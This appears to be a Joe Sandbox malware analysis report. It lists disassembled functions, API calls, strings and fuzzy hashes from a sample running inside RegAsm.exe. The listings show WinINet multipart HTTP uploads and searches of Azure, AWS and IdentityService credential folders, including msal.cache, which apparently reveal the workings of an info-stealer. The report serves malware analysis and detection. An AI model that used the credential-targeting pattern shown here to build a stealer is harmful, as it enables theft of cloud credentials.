Opcode ID: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction ID: d15eb70b6d553ab1cc94bc99ca27928082ec116ada4a7d19c18b432e65637ade
Opcode Fuzzy Hash: 91fa73cd99cb08a8e86c39f4412a2c8f2f9dc26fe3a5757e69e2f36c05b42199
Instruction Fuzzy Hash: 86D16D75A41208ABCB04FBF1DD86EEE7379FF14314F50441EF102A6091DE78AA96CB69

Function 00405100 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 569
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

lstrlenA.KERNEL32(00000000), ref: 00405193

Part of subcall function 00418EA0: CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405207
StrCmpCA.SHLWAPI(?,011927F8), ref: 00405225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405340
HttpOpenRequestA.WININET(00000000,01192968,?,011920C0,00000000,00000000,00400100,00000000), ref: 004053A4

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,011927C8,00000000,?,01190C78,00000000,?,004219DC,00000000,?,004151CF), ref: 00405737
lstrlenA.KERNEL32(00000000), ref: 0040574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040575C
HeapAlloc.KERNEL32(00000000), ref: 00405763
lstrlenA.KERNEL32(00000000), ref: 00405778
memcpy.MSVCRT(?,00000000,00000000), ref: 0040578F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057A9
memcpy.MSVCRT(?), ref: 004057B6
lstrlenA.KERNEL32(00000000), ref: 004057C8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 004057E1
memcpy.MSVCRT(?), ref: 004057F1
lstrlenA.KERNEL32(00000000,?,?), ref: 0040580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040584D
InternetCloseHandle.WININET(00000000), ref: 004058B1
InternetCloseHandle.WININET(00000000), ref: 004058BE
InternetCloseHandle.WININET(00000000), ref: 004058C8

Strings

", xrefs: 004055C4
", xrefs: 00405706
--, xrefs: 00405280
------, xrefs: 004054F9
------, xrefs: 0040563B
------, xrefs: 004053B7
", xrefs: 00405482
------, xrefs: 00405297

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandlememcpy$HeapHttpOpenRequestlstrcat$AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 2744873387-2774362122
Opcode ID: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction ID: d07ba18edd097c444f0f2b194d739d2ed1db848351cdebbd5bd0839dcb06e227
Opcode Fuzzy Hash: 7441479875cef0ade580cbc391c91beb22ce45f9220ebd172bd854f365a60cd9
Instruction Fuzzy Hash: DA3262B1921118ABDB14FBA1DC91FEE7378BF14714F40415EF10662092DF782A9ACF69

Function 00405960 Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 493
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004059F8
StrCmpCA.SHLWAPI(?,011927F8), ref: 00405A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405B93
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,011928B8,00000000,?,01190C78,00000000,?,00421A1C), ref: 00405E71
lstrlenA.KERNEL32(00000000), ref: 00405E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00405E93
HeapAlloc.KERNEL32(00000000), ref: 00405E9A
lstrlenA.KERNEL32(00000000), ref: 00405EAF
memcpy.MSVCRT(?,00000000,00000000), ref: 00405EC6
lstrlenA.KERNEL32(00000000), ref: 00405ED8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405EF1
memcpy.MSVCRT(?), ref: 00405EFE
lstrlenA.KERNEL32(00000000,?,?), ref: 00405F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00405F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00405F4C
InternetCloseHandle.WININET(00000000), ref: 00405FB0
InternetCloseHandle.WININET(00000000), ref: 00405FBD
HttpOpenRequestA.WININET(00000000,01192968,?,011920C0,00000000,00000000,00400100,00000000), ref: 00405BF8

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

", xrefs: 00405CD5
------, xrefs: 00405D4C
------, xrefs: 00405C0B
", xrefs: 00405E16
------, xrefs: 00405A96

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: ff2809e59d642d75ae2231e13152c341e448feed54d3c5b347b93c7988f4c107
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 0040A790 Relevance: 40.8, APIs: 22, Strings: 1, Instructions: 538
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0040AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0040ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,0118AAF8,0118AB68), ref: 0040A8B0

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrcatA.KERNEL32(?,00000000,00000000,0118AA98,00421318,0118AA98,00421314), ref: 0040ACEB
lstrcatA.KERNEL32(?,00421320), ref: 0040ACFA
lstrcatA.KERNEL32(?,00000000), ref: 0040AD0D
lstrcatA.KERNEL32(?,00421324), ref: 0040AD1C
lstrcatA.KERNEL32(?,00000000), ref: 0040AD2F
lstrcatA.KERNEL32(?,00421328), ref: 0040AD3E
lstrcatA.KERNEL32(?,00000000), ref: 0040AD51
lstrcatA.KERNEL32(?,0042132C), ref: 0040AD60
lstrcatA.KERNEL32(?,00000000), ref: 0040AD73
lstrcatA.KERNEL32(?,00421330), ref: 0040AD82
lstrcatA.KERNEL32(?,00000000), ref: 0040AD95
lstrcatA.KERNEL32(?,00421334), ref: 0040ADA4
lstrcatA.KERNEL32(?,00000000), ref: 0040ADB7
lstrlenA.KERNEL32(?), ref: 0040AE0D
lstrlenA.KERNEL32(?), ref: 0040AE1C
memset.MSVCRT ref: 0040AE6B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0040ABD4

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessmemcmpmemset
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4068497927-2709115261
Opcode ID: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction ID: fed50cc6e1efdc3a052f26cf913ed6c17941c683d425eb673400a9e06eca0bf1
Opcode Fuzzy Hash: ced0eff40efd9150bf7058c5f0a69ec6d957ab4e1add547d67db042548885a46
Instruction Fuzzy Hash: D6127375951104ABDB04FBA1DD96EEE7339BF14314F50402EF407B2091DE38AE9ACB6A

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01192928,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96

memset.MSVCRT ref: 00414F2B

Strings

\.azure\, xrefs: 00414DC1
\.aws\, xrefs: 00414E4D
Azure\.aws, xrefs: 00414E5F
\.IdentityService\, xrefs: 00414ED9
msal.cache, xrefs: 00414EF0
Azure\.azure, xrefs: 00414DD3
*.*, xrefs: 00414E64
Azure\.IdentityService, xrefs: 00414EEB
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
*.*, xrefs: 00414DD8

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 2615841231-156832076
Opcode ID: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: db1a216aedd74860a16951c3aec18e6188285cd10d194618a9ff1a8e438ec7e3
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01190CD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,01191C10,00420B53), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,0118AA98,00421474,0118AA98,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: d6f2d6b1cef7fab6a877228a83399a222af4b6dabdae855cd259993beb0448bd
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
StrCmpCA.SHLWAPI(?,011927F8), ref: 00406303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,011920C0,00000000,00000000,00400100,00000000), ref: 00406385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D
InternetCloseHandle.WININET(00000000), ref: 004064EF
InternetCloseHandle.WININET(00000000), ref: 004064F9
InternetCloseHandle.WININET(00000000), ref: 00406503

Strings

ERROR, xrefs: 004064C9
GET, xrefs: 0040637C
ERROR, xrefs: 00406407

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
